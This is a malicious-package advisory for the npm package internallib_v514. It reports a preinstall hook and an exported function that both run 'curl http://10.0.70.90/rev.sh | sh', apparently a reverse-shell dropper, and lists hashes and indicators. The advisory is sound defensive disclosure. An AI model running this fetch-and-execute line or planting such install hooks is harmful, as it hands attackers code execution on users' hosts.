internallib_v514

{"schema_version":"1.7.4","id":"MAL-2026-13483","published":"2026-08-06T23:54:21Z","modified":"2026-08-07T12:53:19.844640518Z","summary":"Malicious code in internallib_v514 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea)\npackage.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require(\"child_process\").execSync(\"curl http://10.0.70.90/rev.sh | sh\")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.\n","affected":[{"package":{"name":"internallib_v514","ecosystem":"npm"},"versions":["1.0.0","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"230a4a165ad183ffa6b85d377bcd64558d7cc61d21573da01a25cac18399a4de","tlsh":"24d0973e1af546a53c1970d8780eb0507c8a8260a2318262d1082c920bc0109103629e"}],"package_integrity":[{"filename":"internallib_v514-1.0.0.tgz","hashes":{"sha1":"f47fdfa3be53b4c6acb5bc84b707f99b727d12ba","sha512_sri":"sha512-P2IXxCoM1CSCDtS+GBn3FcwTN28Et5emYDAYA7HGk2ahtgwg6tFfMcFQK6GKJHIeLTH2Q/IGiySvmY5C+04G+g=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v514/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v514/v/1.0.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-016844","import_time":"2026-08-07T00:59:21.057177985Z","modified_time":"2026-08-06T23:54:21Z","sha256":"ae39104ad6f972db3cbd895132ea9551b5f0d9b92709e3f2e09569b73dc4ba88","source":"amazon-inspector","versions":["1.0.0"]},{"id":"IN-MAL-2026-016999","import_time":"2026-08-07T12:51:21.619264955Z","modified_time":"2026-08-07T12:29:00Z","sha256":"1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea","source":"amazon-inspector","versions":["1.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}